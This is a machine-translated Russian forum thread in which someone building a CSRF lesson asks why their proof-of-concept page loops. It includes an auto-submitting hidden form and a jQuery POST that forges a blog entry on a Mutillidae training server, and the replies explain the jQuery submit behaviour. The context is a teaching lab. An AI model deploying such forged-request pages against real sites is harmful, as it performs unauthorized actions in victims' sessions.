2015-08-07 3 views
0

Я пытаюсь настроить базовый обработчик отправки ajax для изменения формы (я пишу урок по уязвимостям CSRF), но страница продолжает цикл. Вот пример кода, я ковырялся с, которая базируется на том, что из http://api.jquery.com/jQuery.post/:ajax POST handler looping

<!DOCTYPE html> 
<html> 
<body> 

<form id="hidden_form" target="blahblah.com"> </form> 

<script> 
//Attach a submit handler to the form 
$('#hidden_form').submit(function(event) { 

     //stop form from submitting normally 
     event.preventDefault(); 

     //set new target for the form 
     var $form = $(this), 
     url = "http://192.168.101.250/mutillidae/index.php?page=add-to-your-blog.php&csrf-token=SecurityIsDisabled&blog_entry=example+text&add-to-your-blog-php-submit-button=Save+Blog+Entry" 

     //capture the response but do nothing with it 
     var posting = $.post(url); 
}); 
</script> 

<script> 
     $('#hidden_form').submit(); 
</script> 

</body> 
</html> 

Когда я загрузить этот файл локально с моим браузером, переключатели вкладки между /path/to/file.html и «Соединение» очень быстро, но я знаю, что запрос никогда не отправляется, потому что у меня есть прокси-сервер, перехватывающий весь трафик, и он ничего не захватывает.

Так что я делаю неправильно? Я хочу, чтобы обработчик ajax отправил POST-запрос указанному URL-адресу, но он никогда не отправляется

EDIT: Я изменил второй скрипт, чтобы вызвать обработчик вместо фактической формы, но по-прежнему нет отправленного трафика на проводе?

+1

Вы не остановили отправку формы по умолчанию, поэтому страница просто продолжает освежаться. (* Подсказка: HTMLFormElement.submit() обходит jQuery связанные события отправки *) –

+0

does "event.preventDefautl()" не останавливает форму по умолчанию от отправки? – Kdawg

+0

Это было бы, если бы этот обработчик событий когда-либо вызывался. –

ответ

1

Вызов .submit() непосредственно на узле элемента формы не вызывает событие отправки, вместо этого он напрямую передает форму в обход всех обработчиков событий. Вместо этого вы должны вызывать форму jQuery метода, которая вызывает обработчик события.

$('#hidden_form').submit();